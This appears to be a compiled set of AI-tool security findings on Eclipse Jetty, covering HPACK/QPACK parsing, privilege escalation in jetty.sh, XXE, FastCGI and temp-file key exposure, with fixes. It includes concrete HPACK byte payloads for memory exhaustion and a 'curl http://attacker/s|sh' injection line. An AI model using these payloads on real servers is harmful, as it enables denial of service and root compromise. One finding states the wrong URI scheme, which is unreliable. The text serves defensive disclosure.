Offending code:
length = (length * 4) / 3;
- Impact
-
A single unauthenticated remote peer can drive the JVM into heap exhaustion or sustained GC thrash and make the server unavailable. Each attack frame is about 20 bytes, so amplification is very high. This is the same class as CVE-2023-36478.
- Description
-
The attacker-controlled HPACK string length is decoded by NBitInteger.decode with no overflow check and passed to checkSize. The int multiplication by 4 wraps negative for lengths >= 2^29, so the
_size + length > _maxSizecheck is skipped. HpackDecoder then calls Huffman.decode(buffer, length), which doesnew Utf8StringBuilder(length * 2)and allocates about 1-2 GiB. - Exploit scenario
-
The attacker opens an HTTP/2 connection (h2c prior-knowledge or ALPN h2) and sends the preface. It then sends a HEADERS frame (stream 1, END_HEADERS) whose HPACK block is 00 FF 80 80 80 80 02. The first byte is a literal with a new name. FF sets the Huffman flag and the 7-bit prefix 127. The continuation bytes decode to length = 127 + 2*2^28 = 536871039. checkSize computes 536871039*4 = -2147483140 as an int, then /3 = -715827713, so the limit check passes. Huffman.decode allocates a StringBuilder with capacity 1073742078, about 1 GiB. The decode loop then fails with BufferUnderflowException, which Parser.parse catches, but the allocation has already happened. Repeating this on one or many connections causes OutOfMemoryError, repeated full GCs or humongous-allocation stalls. The same path works for the value length (HpackDecoder.java:208-211) and for HTTP/2 clients reading responses from a hostile server.
- Recommendation
-
Make NBitInteger.decode overflow-safe (Math.addExact/multiplyExact, or cap at a sane maximum and throw a CompressionException). Compute the Huffman fudge factor in long arithmetic in MetaDataBuilder.checkSize, rejecting any length > maxSize or > buffer.remaining() before the multiplication. Validate
length <= buffer.remaining()in HpackDecoder before calling Huffman.decode or toASCIIString. Do not size Utf8StringBuilder from untrusted lengths without that bound.
Claude Security (Opus 5.5)
Integer overflow in the HPACK Huffman size check bypasses the header size limit and forces allocations of 1 GiB or more
jetty-core/jetty-http2/jetty-http2-hpack/src/main/java/org/eclipse/jetty/http2/hpack/internal/MetaDataBuilder.java:295Predicted severity: High- Root cause
-
Vulnerable symbol: MetaDataBuilder.checkSize
Preconditions: Network access to an HTTP/2 (h2 or h2c) listener. For the client side, a malicious HTTP/2 server talking to Jetty's HTTP2Client.
Offending code:
length = (length * 4) / 3;
- Impact
-
Unauthenticated remote denial of service. Each tiny frame forces a gigabyte-scale allocation, causing OutOfMemoryError or GC thrashing that affects every connection and application on the server. The same applies to Jetty HTTP/2 clients facing a malicious server. This is the issue tracked as CVE-2023-36478.
- Description
-
A peer-supplied HPACK string length (NBitInteger.decode, which has no upper bound) is multiplied by 4 in int arithmetic. For lengths in [2^29, 2^30) the product wraps to a negative number, so the maxHeaderSize check passes. Huffman.decode then calls new Utf8StringBuilder(length*2), which allocates a 1-2 GiB backing array before reading a single byte.
- Exploit scenario
-
An unauthenticated client sends a HEADERS frame whose 7-byte HPACK block is 01 FF 81 FF FF FF 01. That is a literal with name index 1 and a Huffman value whose declared length is 536870912 (2^29). checkSize computes (2^29*4)/3 = -715827882, which is below 8192, so the check passes. Huffman.decode then allocates a StringBuilder with capacity 2^30, about 1 GiB, and throws BufferUnderflowException only after the allocation. Repeating this across many concurrent connections or reconnects exhausts the heap. Lengths near 2^30 cause an immediate OutOfMemoryError.
- Recommendation
-
Use overflow-safe arithmetic (Math.multiplyExact, or long math) and reject negative lengths. Bound every decoded string length by both buffer.remaining() and the remaining header budget before allocating. Make NBitInteger.decode reject values that overflow int or exceed a sane octet count. Do not presize the Huffman builder from an unchecked length.
-
LiteralNameEntryInstruction incorrectly encodes value length eclipse-jetty-12 · 2 writeups Medium
V12
Raw insertion values use the wrong prefix width
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/instruction/LiteralNameEntryInstruction.java:78Predicted severity: Medium- Root cause
-
The raw insertion value length uses the literal-name integer width of five bits instead of the value-string integer width of seven bits. Producer and consumer therefore disagree at the 31-byte boundary.
- Impact
-
The malformed instruction can corrupt the peer's dynamic-table contents or terminate its QPACK instruction stream, disrupting all traffic sharing that connection. The first example value of 32 ASCII 'a' characters leaves bytes that are interpreted as a Set Capacity instruction, demonstrating state desynchronization rather than just an incorrect displayed header.
- Description
-
The raw-value branch of
LiteralNameEntryInstructionencodes the value length with a five-bit integer prefix. Its consumer parses that value as an eight-bit string prefix, leaving seven bits for the integer length. Lengths below 31 conceal this discrepancy, whereas a 32-byte ASCII value is emitted with a first length byte of 31 and an extra continuation byte of 1. The decoder consequently treats that continuation as value data, consumes only 31 bytes, and interprets remaining value bytes as subsequent instructions. This branch is exercised by normal no-Huffman policy for indexableProxy-AuthenticateandProxy-Authorizationfields when no name entry exists, as well as by the exposed Huffman-policy override.
Devin Security (Deep)
QPACK 'Insert With Literal Name' writes the plain value length with a 5-bit prefix, so long values desync the encoder stream
jetty-core/jetty-http3/jetty-http3-qpack/src/main/java/org/eclipse/jetty/http3/qpack/internal/instruction/LiteralNameEntryInstruction.java:78Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
When Jetty's HTTP/3 encoder inserts a non-Huffman header value of 31 or more characters, the peer reads the tail of that value as new table instructions, which at minimum breaks the connection and, where the value is attacker-supplied, lets the attacker plant entries in the peer's header table.
##### What's wrong
This is an encoder-stream desynchronization bug. RFC 9204 says the value length in an Insert With Literal Name instruction uses a 7-bit prefix after the H bit. For the non-Huffman value, this code writes the 0x00 byte and then encodes the length with a 5-bit prefix. Any length of 31 or more is written as the 5-bit escape 0x1F plus continuation bytes. A correct decoder reads 0x1F as a complete length of 31, takes the next 31 bytes as the value, and parses everything after that as new instructions.
##### Who can do it
Alice runs a Jetty reverse proxy that forwards browser requests to a backend over one shared HTTP/3 connection using Jetty's HTTP/3 client. The backend advertises a non-zero QPACK table size. Mallory, an anonymous user, sends a request with a long
Proxy-AuthorizationorContent-MD5header. She builds the part of the value after character 31 so its bytes form valid QPACK insert instructions.- The Jetty encoder has a non-zero dynamic table capacity, which happens when the peer advertises
SETTINGS_QPACK_MAX_TABLE_CAPACITYgreater than 0.- The header is indexable but not Huffman-coded. In
QpackEncoderthat meansContent-MD5,Proxy-AuthenticateorProxy-Authorization.- The header name is not yet in the static or dynamic table, so the encoder picks
LiteralNameEntryInstruction.- The value is 31 characters or longer.
- The cross-user effect also needs the encoder's connection to be shared between users, for example a proxy using the HTTP/3 client. I did not trace a specific Jetty proxy deployment that does this.
##### What they get
In every deployment that meets the first four conditions, the peer's decoder gets corrupted input and fails the whole HTTP/3 connection. All requests on that connection fail. On a shared upstream connection, Mallory's bytes become extra entries in the backend's table. Other users' headers that Jetty encodes by index can then resolve to Mallory's entries until the backend's insert-count acknowledgements make Jetty close the session. This can inject headers into other users' requests during that window. The harm stays inside that one connection.
##### How it works
1.
QpackEncoder.encodepicksLiteralNameEntryInstructionwithhuffman=falsefor indexable headers inDO_NOT_HUFFMANwhose name is not in any table (QpackEncoder.java:56-61, 347-350, 406-410).2.
LiteralNameEntryInstruction.encodewrites 0x00 and then encodes_value.length()with a 5-bit prefix (LiteralNameEntryInstruction.java:84-88).3. For a value of 31 or more characters, the first length byte is 0x1F, followed by continuation bytes and then the raw value bytes.
4. The peer reads the value length with a 7-bit prefix, as
DecoderInstructionParser.parseInsertWithLiteralNamedoes throughNBitStringParserwith prefix 8, so it reads 31 as the length (DecoderInstructionParser.java:182-187, NBitStringParser.java:57-70).5. The peer parses the rest of the value bytes as new encoder instructions and inserts or changes table entries the Jetty encoder never sent.
- Exploit scenario
-
Not specified.
- Recommendation
-
Change line 87 to
NBitIntegerEncoder.encode(byteBuffer, 7, _value.length());. Also add the integer-prefix continuation bytes to the buffer size (see the related finding). To check the fix, add a unit test that encodes aLiteralNameEntryInstructionwithhuffman=falseand a 200-character value. Feed the bytes toQpackDecoder.parseInstructionsand assert that exactly one entry with the full value is inserted and no other instruction is parsed.
-
FileInitializer does not check for symlinks eclipse-jetty-13 · 2 writeups High
V12
Symlink parents bypass base-directory confinement
jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/BaseHome.java:185Predicted severity: Medium- Root cause
-
getBasePath(String)supplies a lexically normalized path to a security check that assumes normalization establishes filesystem containment. Neither the resolver nor the destination check accounts for symbolic-link ancestors before writing. - Impact
-
A party able to supply a symbolic-link ancestor beneath
${jetty.base}can redirect an otherwise base-relative materialization into another writable directory. The supported consequence is creation of files outside the enforced base boundary; modification of executable configuration or privilege escalation depends on the link target, filesystem permissions, and the materialized content, and is not established here. - Description
-
getBasePath(String)normalizes path components but does not resolve symbolic links before returning a destination. Its file-initialization consumer treats a lexicalstartsWith(jetty.base)test as sufficient confinement. For example, if${jetty.base}/liblinks to an outside directory, a declaration targetinglib/new.jarpasses that test while filesystem operations follow the link.UriFileInitializer.create()then downloads a missing file to the outside directory using the startup process's permissions. This is a conditional confinement failure; exploitation requires control of a destination ancestor link and a file-materialization operation through that link.
Claude Security (Opus 5.5)
jetty.sh running as root passes lines from the JETTY_USER-writable $JETTY_BASE/etc/jetty.conf to start.jar as command-line options, which can lead to root code execution
jetty-home/src/main/resources/bin/jetty.sh:437Predicted severity: High- Root cause
-
Vulnerable symbol: main script body (top-level, start/run/supervise path)
Preconditions: jetty.sh runs as root: the init.d/
servicemode described in the shipped docs, not the shipped jetty.service unit, which sets User=jetty; JETTY_CONF is unset and $ETC/jetty.conf (/etc/jetty.conf for root) does not exist; nothing in jetty-home installs one; The attacker can write to $JETTY_BASE (JETTY_USER privileges, which the jetty.state mechanism and the docs require); An administrator or the boot process later runs start or restartOffending code:
RUN_ARGS=$("$JAVA" -jar "$JETTY_START" --dry-run=opts,path,main,args ${JETTY_ARGS[*]} ${JAVA_OPTIONS[*]})
- Impact
-
Local privilege escalation from the unprivileged Jetty service account (or anyone who can write into JETTY_BASE) to root: root appends to or creates a file at any path the attacker chooses, with attacker-influenced content, and can read root-only files.
- Description
-
When neither JETTY_CONF nor $ETC/jetty.conf is set, jetty.sh uses $JETTY_BASE/etc/jetty.conf (lines 288-290). JETTY_BASE has to be writable by JETTY_USER, because the jetty process writes jetty.state there, and the shipped docs say to run
chown -R jetty. Every line of that file is appended to JETTY_ARGS unchanged (lines 339-363). Line 437 then hands those lines to start.jar running as root as true command-line options. start.jar honors CLI-only options such as --start-log-file=<absolute path>, so the low-privileged account controls a file path that root writes to. Also CWE-250: When jetty.sh runs as root (SysV init or an admin running start/stop/status/restart), line 437 always runs start.jar as root, before any privilege drop. start.jar reads $JETTY_BASE/etc/jetty.conf (lines 288-290, 339-363, passed as command-line args with no BANNED_ARGS filter) and $JETTY_BASE/start.ini and start.d/*.ini. JETTY_USER can write all of these in the usual layout, and start.jar's BaseBuilder.build() still does file creation and downloads in --dry-run mode. Also CWE-214: jetty.sh calls start.jar with --dry-run=...,args but no --exec-properties. In that mode StartArgs.getMainArgs (StartArgs.java:625-631) writes every start property as a literal key=value argument, and ensureSystemPropertySet/opts (StartArgs.java:517-553) adds -DSTOP.KEY=... The values come from start.ini/start.d, e.g. jetty.sslContext.keyStorePassword, keyManagerPassword and trustStorePassword. The script then makes this output the server's argv (RUN_CMD at 438; launched at 475, 498, 502, 587 and 600), so the secrets are readable world-wide through /proc/<pid>/cmdline. - Exploit scenario
-
In the documented SysV/init.d setup (/etc/default/jetty sets JETTY_BASE=/opt/web/mybase, owned by user jetty; no /etc/jetty.conf), an attacker gets code execution or file-write as the jetty user, for example through a vulnerable webapp. The attacker creates /opt/web/mybase/etc/jetty.conf with two lines:
--start-log-file=/etc/profile.d/zz-jetty.shandx=;curl${IFS}http://attacker/s|sh;. At the nextservice jetty start/restartor at boot, root runs line 437. start.jar, still running as root, creates /etc/profile.d/zz-jetty.sh and appends the dry-run command line to it. That line containsx=;curl${IFS}http://attacker/s|sh;because CommandLineBuilder.quote escapes only spaces and double quotes. The next root login shell sources the file, so the attacker's command runs as root. The same root start.jar can also be steered through jetty.conf or start.d. Examples: --commands=<root-only file>, which makes root parse arbitrary files and echo their lines into output or the log; and --download/--create-files, which make root write into JETTY_BASE paths that the jetty user can redirect with symlinks. If root starts the script from an attacker-controlled working directory that contains start.d/ and JETTY_BASE is unset, lines 258-260 let the attacker choose the whole base. - Recommendation
-
Never run start.jar as root. Run the --dry-run computation as JETTY_USER (for example with setpriv/runuser), or skip it and let start-stop-daemon/su exec start.jar directly as JETTY_USER. When running as root, do not read jetty.conf from $JETTY_BASE: accept only root-owned config files and check their ownership and mode before reading. Do not infer JETTY_BASE from the current working directory when UID is 0. Separately, StartLog should reject --start-log-file paths outside ${jetty.base}. Also CWE-250: Never run start.jar as root. When UID is 0 and JETTY_USER is set, run the --dry-run step as JETTY_USER (e.g. via su/runuser/setpriv). Do not read jetty.conf from JETTY_BASE when running as root, and refuse to run as root if JETTY_BASE or its config files are writable by anyone other than root. Separately, in jetty-start, add --commands to BANNED_ARGS (or apply the ban to lines read from commands files), and resolve real paths when checking that a destination stays inside ${jetty.base}. Also CWE-214: Do not pass start properties on the argv. Add --exec-properties=<path> to the dry-run (for example a mode-0600 file under $JETTY_BASE or $JETTY_RUN), or pass only the opts/path/main parts and let the server read its ini-sourced properties from a protected file. Remove RUN_CMD from dumpEnv, or mask its password values, in the check/status output.
- FileInitializer permits downloading files via plaintext HTTP eclipse-jetty-14 High
-
NullPointerException thrown by FastCGI parser on invalid frame type eclipse-jetty-15 · 1 writeup Medium
V12
Unsupported records strand active FastCGI connections
jetty-core/jetty-fcgi/jetty-fcgi-client/src/main/java/org/eclipse/jetty/fcgi/parser/Parser.java:84Predicted severity: Medium- Root cause
-
Parser.parse()assumes every recognized frame type has a non-null specialized parser and provides no controlled unsupported-record failure path. The server caller's exception handler does not restore a usable connection or terminate the active request. - Impact
-
A FastCGI peer can interrupt an active request with an abort record and leave its stream and connection without the normal completion or read-resumption path. This creates a connection/request availability failure and resource retention until another cleanup mechanism intervenes; process-wide exhaustion and indefinite retention are not established.
- Description
-
Parser.parse()dereferences the result offindContentParser()without checking whether the record type has a registered parser.ServerParserregisters onlyBEGIN_REQUEST,PARAMS, andSTDIN, whileFCGI.FrameType.from()also acceptsABORT_REQUESTandGET_VALUES. Consequently, an eight-byte, zero-contentABORT_REQUESTheader reachescontentParser.noContent()with a null receiver rather than terminating the request. On the server'sonFillable()path, the resulting exception only clears and releases the input buffer; it neither fails the active stream, closes the endpoint, nor rearms read interest. The parser also remains inPADDINGafter this exception, so its state no longer represents a successfully handled record.
-
HttpStreamOverFCGI internally marks all requests as plaintext HTTP eclipse-jetty-17 · 1 writeup High
V12
Frontend HTTPS state is discarded
jetty-core/jetty-fcgi/jetty-fcgi-server/src/main/java/org/eclipse/jetty/fcgi/server/internal/HttpStreamOverFCGI.java:91Predicted severity: Medium- Root cause
-
The FastCGI-to-request metadata translation discards the frontend security indicator and hardcodes HTTP when constructing
MetaData.Request. - Impact
-
In a TLS-terminating FastCGI deployment relying on HTTPS-sensitive session-cookie behavior, session cookies can be issued without Secure and subsequently be sent by a browser over HTTP. Secure-only redirect handling can also redirect an already-secure frontend request repeatedly because this bridge reports it as insecure.
- Description
-
onHeaders()always constructs the request URI with thehttpscheme, even when the FastCGI parameters includeHTTPS=on.onHeader()retains that parameter only as a request attribute and never uses it to select the scheme. The repository's FastCGI proxy explicitly emitsHTTPS=onfor secure frontend requests, so the producer and this consumer disagree about transport security.ChannelRequest.isSecure()derives its result from the URI scheme, and the session implementation uses that result when deciding whether to mark a session cookie Secure. Without an independent request customizer correcting the scheme or an explicitly Secure cookie configuration, a secure frontend request therefore reaches security-sensitive consumers as insecure.
-
XML external entities and entity expansion in Maven package metadata parser eclipse-jetty-19 · 5 writeups High
V12
Snapshot metadata permits external XML resolution
jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/BaseBuilder.java:84Predicted severity: Medium- Root cause
-
Repository metadata is parsed using an unrestricted default XML parser. The initializer treats XML as artifact-selection data without constraining the parser's external-resource authority.
- Impact
-
With the standard JAXP external-resolution behavior, crafted snapshot metadata can cause outbound requests or local-file reads under the startup process's authority. This is a metadata-to-resolver trust-boundary failure; an actual local-file exfiltration channel and the deployment's effective JAXP restrictions have not been demonstrated.
- Description
-
The Maven initializer selected by normal create-files mode parses downloaded or cached snapshot metadata with a default
DocumentBuilderFactory.MavenMetadatadoes not disable document types or external entities and does not restrict external DTD/schema access before callingbuilder.parse(). Both staleness checking and snapshot-version selection reach that parser with repository-supplied XML. Consequently, external references in metadata can be processed before any validation of its root or snapshot values. The inspected startup sources contain no JAXP hardening settings; externally supplied JVM-level restrictions could change this behavior.
Devin Security (Deep)
maven-metadata.xml is parsed with a default DocumentBuilderFactory that resolves external entities
jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/fileinits/MavenMetadata.java:55Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Whoever controls the maven-metadata.xml that jetty-start reads, such as a malicious or spoofed repository or a local user writing to the shared temp cache, can make jetty-start read local files and send them to an outside server, but only when an operator installs a SNAPSHOT module.
##### What's wrong
This is an XML External Entity (XXE) injection, where an XML file defines entities that point at local files or URLs and the parser fetches them.
MavenMetadatacallsDocumentBuilderFactory.newInstance()and parses the file without turning off DOCTYPE declarations, external general entities, or external parameter entities. The file comes from a remote Maven repository, or from a cached copy in the local repository directory.##### Who can do it
Alice, an operator, runs
java -jar start.jar --add-modules=...for a module that references amaven://...-SNAPSHOTartifact. Mallory controls the repository at the configuredmaven.repo.uri, or sits on the network path when that URI is plainhttp://. Or Mallory is a local user who planted the cached metadata under/tmp/jetty-start-downloads. She serves a maven-metadata.xml with a DOCTYPE that defines an external entity pointing atfile:///home/jetty/.ssh/id_rsa, plus a parameter entity that loads a DTD from her server.- A
maven://coordinate with a version ending in-SNAPSHOTis processed by--add-modulesor--create-files.- Mallory controls the metadata bytes, either through the repository response or through a writable cached file.
##### What they get
The parser reads local files that the account running start.jar can access. Through a parameter-entity DTD it sends their contents to Mallory's server. It can also send the contents in-band, because the parsed
<value>is placed into the next artifact download URL. Mallory can also make the start process issue requests to internal-only hosts. A repository that Mallory fully controls can already serve a malicious jar, so the extra harm is limited to cases where she controls only the metadata, such as the temp-cache case.##### How it works
1. For SNAPSHOT coordinates,
MavenLocalRepoFileInitializer.downloadfetches or reusesmaven-metadata.xmlin the local repository directory (MavenLocalRepoFileInitializer.java:299-314).2.
isMetadataStaleandgetMetadataVersionconstructnew MavenMetadata(path)on that file (MavenLocalRepoFileInitializer.java:332, 345).3.
MavenMetadatabuilds a defaultDocumentBuilderFactorywith no hardening and parses the file, which resolves external entities (MavenMetadata.java:58-62).4. The resolved entity text ends up in fields like
snapshot.value, which is concatenated into the next download URI (MavenLocalRepoFileInitializer.java:312-313). - Exploit scenario
-
Not specified.
- Recommendation
-
Harden the factory before calling
newDocumentBuilder(). Sethttp://apache.org/xml/features/disallow-doctype-declto true, sethttp://xml.org/sax/features/external-general-entitiesandhttp://xml.org/sax/features/external-parameter-entitiesto false, setXMLConstants.ACCESS_EXTERNAL_DTDandACCESS_EXTERNAL_SCHEMAto an empty string, callsetXIncludeAware(false)andsetExpandEntityReferences(false), and enableXMLConstants.FEATURE_SECURE_PROCESSING. To check the fix, add a unit test that parses a metadata file with a DOCTYPE and an external entity pointing at a temp file, and assert that parsing fails and the file contents never appear ingetSnapshot(...).getValue().
Devin Security
Maven metadata XML is parsed with external entities enabled
jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/fileinits/MavenMetadata.java:55Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A malicious or spoofed Maven repository can make the Jetty start tool read local files on the operator's machine and send them out while it installs modules, but this only runs at setup time.
##### What's wrong
This is XML External Entity (XXE) injection. XXE means a parser follows DTD and entity references inside an XML document, which can load local files or remote URLs.
MavenMetadatabuilds a defaultDocumentBuilderFactoryand does not turn off DTDs or external entities before it parsesmaven-metadata.xmldownloaded from a remote repository.##### Who can do it
Alice, an operator at Acme Corp, runs
java -jar start.jar --add-modules=...for a module that pulls a SNAPSHOT artifact. Mallory controls the configured Maven repository, or can tamper with traffic to a plain-HTTP repository. She serves amaven-metadata.xmlthat holds an external DTD.- Alice runs the Jetty start tool with a module that resolves a Maven SNAPSHOT through
maven-metadata.xml.- Mallory controls the response from that repository.
##### What they get
The parser fetches Mallory's DTD and expands entities that read files such as
${jetty.base}configuration or keystore passwords. The DTD can send that content to Mallory's server. The impact is limited to files the operator account can read during setup.##### How it works
1. The Maven file initializer downloads
maven-metadata.xmlfrom the repository into a local file.2. The
MavenMetadataconstructor creates a defaultDocumentBuilderFactoryand parses that file (MavenMetadata.java:58-63).3. The default JDK parser processes the DOCTYPE and external entities in the document. This lets the document read local files and contact URLs Mallory chooses.
- Exploit scenario
-
Not specified.
- Recommendation
-
Before you call
newDocumentBuilder(), setfactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true),factory.setXIncludeAware(false),factory.setExpandEntityReferences(false), and theXMLConstants.ACCESS_EXTERNAL_DTDandACCESS_EXTERNAL_SCHEMAattributes set to an empty string. To check the fix, add a unit test that parses a metadata file with a DOCTYPE that references a local file and assert that parsing fails.
Codex Security (GPT-6 Sol)
Remote snapshot metadata can trigger external XML entity resolution
jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/fileinits/MavenLocalRepoFileInitializer.java:299Predicted severity: Low- Root cause
-
MavenLocalRepoFileInitializerdownloads snapshot metadata and passes the local file toMavenMetadata. That constructor usesDocumentBuilderFactory.newInstance()andbuilder.parse()without disabling DTDs or external entities, allowing attacker-supplied entity references to trigger file or network access. - Impact
-
startup-time local file expansion or outbound request; prerequisite: operator selects a SNAPSHOT dependency and metadata response is attacker-controlled.
- Description
-
Jetty startup parses downloaded Maven snapshot metadata using a default XML builder that permits external entity processing.
- Exploit scenario
-
snapshot maven-metadata.xml response -> XML parser external resource access -> startup-time local file expansion or outbound request
- Recommendation
-
Reject DOCTYPE and disable external general entities, parameter entities, and external DTD/schema access before parsing metadata.
Vercel Security Review
Snapshot Maven metadata is parsed with external entities enabled
jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/fileinits/MavenLocalRepoFileInitializer.java:304Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Snapshot initialization downloads repository-controlled XML** -
jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/fileinits/MavenLocalRepoFileInitializer.java:304-307```java title="jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/fileinits/MavenLocalRepoFileInitializer.java:304-307"
// Grab a fresh copy of the metadata xml
URI mavenMetadataURI = coords.toSnapshotMetadataXmlURI();
super.download(mavenMetadataURI, localRepoMetadataPath);
}
```
**2. The downloaded file reaches the metadata parser** -
jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/fileinits/MavenLocalRepoFileInitializer.java:345-347```java title="jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/fileinits/MavenLocalRepoFileInitializer.java:345-347"
MavenMetadata mavenMetadata = new MavenMetadata(localRepoMetadataPath);
MavenMetadata.Snapshot snapshot = mavenMetadata.getSnapshot(coords.classifier, coords.type);
return snapshot.value;
```
**3. An unhardened DOM builder resolves external entities when parsing that file** -
jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/fileinits/MavenMetadata.java:58-62```java title="jetty-core/jetty-start/src/main/java/org/eclipse/jetty/start/fileinits/MavenMetadata.java:58-61"
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
try (InputStream input = Files.newInputStream(metadataXml))
{
```
A malicious or compromised configured snapshot repository can induce server-side network requests and local-file entity reads under the initializing user's privileges, before any downloaded artifact executes.
- Exploit scenario
-
Not specified.
- Recommendation
-
Disallow DOCTYPE declarations and external general/parameter entities. Set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to empty strings and use a rejecting entity resolver. Apply the restrictions before creating the DocumentBuilder.
-
QUIC server writes SSL private key to temporary plaintext file eclipse-jetty-21 · 6 writeups High
V12
Temporary PEM keys lack restrictive permissions
jetty-core/jetty-quic/jetty-quic-server/src/main/java/org/eclipse/jetty/quic/server/QuicServerConnector.java:167Predicted severity: High- Root cause
-
The keystore-to-PEM boundary drops key encryption without imposing private-file access controls on the exported secret.
- Impact
-
A local user able to read the generated file obtains the TLS private key without knowing the keystore password. That enables impersonation of the affected TLS identity; it does not by itself establish decryption of previously recorded forward-secret connections.
- Description
-
QuicServerConnector.doStart()exports the configured TLS key intojava.io.tmpdirthroughSSLKeyPair.export(). The exporter opens the key with an ordinaryFileOutputStream, without specifying restrictive permissions or securing an existing file's permissions.writeAsPEM()writes the unencrypted private-key encoding, rather than preserving the keystore's password protection. Consequently, a deployment whose temporary directory is shared and whose default file permissions permit other users to read new files exposes the server key for the connector's entire running lifetime. This is conditional on filesystem permissions; the source does not establish that every deployment has readable temporary files.
Devin Security (Deep)
HTTP/3 connector writes the server's TLS private key to the shared temp directory with a predictable name and default permissions
jetty-core/jetty-quic/jetty-quic-server/src/main/java/org/eclipse/jetty/quic/server/QuicServerConnector.java:161Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Any other local user on the server host can read the site's TLS private key while the HTTP/3 connector runs, or plant a file that makes Jetty hand the key to them.
##### What's wrong
This is insecure temporary file handling. On every start, the QUIC connector exports the private key from the keystore into
java.io.tmpdir(usually/tmp, shared by all users) as<alias>.key. It uses a plainFileOutputStream, so the file gets the process umask permissions (often world-readable0644), the name is predictable, an existing file or symlink at that name is reused, and the file is only removed indoStop.##### Who can do it
Alice runs Acme Corp's Jetty server with the
http3module on a shared Linux host. Mallory has an unprivileged shell account on the same host (another service account or a compromised low-privilege process). Mallory runscat /tmp/mykey.key. If Alice set a strict umask, Mallory instead creates/tmp/mykey.keyherself before Jetty starts, with mode0666; Jetty opens her file, truncates it, and writes the key into a file Mallory owns.- Mallory has a local account or code execution on the same host or container as Jetty.
- The HTTP/3 connector (
QuicServerConnectororHTTP3ServerConnector) is enabled.- Mallory knows the key alias. It is the configured cert alias or the first alias in the keystore, often
mykeyorjetty.- The pre-creation variant needs
fs.protected_regularto be off. The plain read variant only needs a default umask.##### What they get
Mallory gets Acme's TLS private key. With it, she can impersonate Acme's site to every visitor over HTTPS and HTTP/3 from any network position she controls, and read or change their traffic, including login credentials and session cookies. The key also leaks forever if Jetty crashes, because the file is only deleted on a clean stop.
##### How it works
1.
QuicServerConnector.doStartloads the key pair and callskeyPair.export(new File(System.getProperty("java.io.tmpdir")))at QuicServerConnector.java:176.2.
SSLKeyPair.exportbuilds the namealias + ".key"in that shared folder at SSLKeyPair.java:66.3.
SSLKeyPair.exportopens the file withnew FileOutputStream(files[0])at SSLKeyPair.java:69, which follows symlinks, reuses an existing file, and applies default permissions.4. The PKCS#8 private key is written in PEM form at SSLKeyPair.java:71 and stays on disk until
doStopdeletes it at QuicServerConnector.java:243. - Exploit scenario
-
Not specified.
- Recommendation
-
Do not write key material to a shared directory. Add a configurable PEM work directory that the operator must set and that only the Jetty user can access, and reject it if it is group- or world-writable. Create the key file with
Files.createTempFile(dir, prefix, ".key", PosixFilePermissions.asFileAttribute(OWNER_READ, OWNER_WRITE))orFiles.newOutputStream(path, CREATE_NEW, WRITE)with owner-only permissions, so a pre-existing file or symlink makes the start fail. Delete the file as soon as quiche has loaded it, and also on JVM exit. To verify, start the connector with umask 022 and check that the key file has mode 0600, sits outside /tmp, and that pre-creating a symlink or file at the target path makes startup fail.
Codex Security (GPT-6 Sol)
QUIC startup exposes the TLS private key through a predictable temporary file
jetty-core/jetty-quic/jetty-quic-server/src/main/java/org/eclipse/jetty/quic/server/QuicServerConnector.java:164Predicted severity: Medium- Root cause
-
QuicServerConnectorpassesjava.io.tmpdirtoSSLKeyPair.export(). The exporter uses the certificate alias as a fixed filename, opens it withFileOutputStream, and writeskey.getEncoded()as unencrypted PEM. No atomic private creation or permissions check occurs. - Impact
-
unauthorized read or precreation of TLS key file; prerequisite: QUIC enabled; shared temp directory; permissive umask or preexisting file.
- Description
-
Enabling the QUIC connector exports an unencrypted TLS key to an alias-derived file in the shared temporary directory without enforcing owner-only permissions.
- Exploit scenario
-
QUIC connector startup -> unencrypted PEM file -> unauthorized read or precreation of TLS key file
- Recommendation
-
Create an unpredictable key file atomically with owner-only permissions in a private directory, reject preexisting paths, and remove it after native loading.
Claude Security (Sonnet 5.5)
TLS private key exported as unencrypted PEM to a predictable world-readable file in java.io.tmpdir
jetty-core/jetty-quic/jetty-quic-quiche/jetty-quic-quiche-common/src/main/java/org/eclipse/jetty/quic/quiche/SSLKeyPair.java:69Predicted severity: Medium- Root cause
-
Vulnerable symbol: SSLKeyPair.export
Preconditions: Attacker has a local account on the Jetty host sharing the temp directory; Default umask permits group/other read; QuicServerConnector (HTTP/3) is used
Offending code:
try (FileOutputStream fos = new FileOutputStream(files[0]))
- Impact
-
Disclosure of the server's TLS private key to local users, arbitrary file overwrite as the Jetty user via symlink, and tampering with the key and certificate used for new QUIC connections. Alias values containing path separators would also escape the temp directory.
- Description
-
QuicServerConnector.doStart() calls SSLKeyPair.export(java.io.tmpdir), which writes the server's PKCS#8 private key to <tmpdir>/<alias>.key with FileOutputStream, i.e. default permissions (typically 0644) and a predictable name. The file follows symlinks and truncates a pre-existing file. It stays on disk for the whole server lifetime, and JnaQuicheConnection.buildConfig reloads it for every accepted connection. Also CWE-732: QuicServerConnector.doStart exports the keystore private key as plain PKCS#8 PEM to <java.io.tmpdir>/<alias>.key using a bare FileOutputStream. No restrictive permissions, exclusive creation or random name is used, and the file is deleted only on a clean doStop.
- Exploit scenario
-
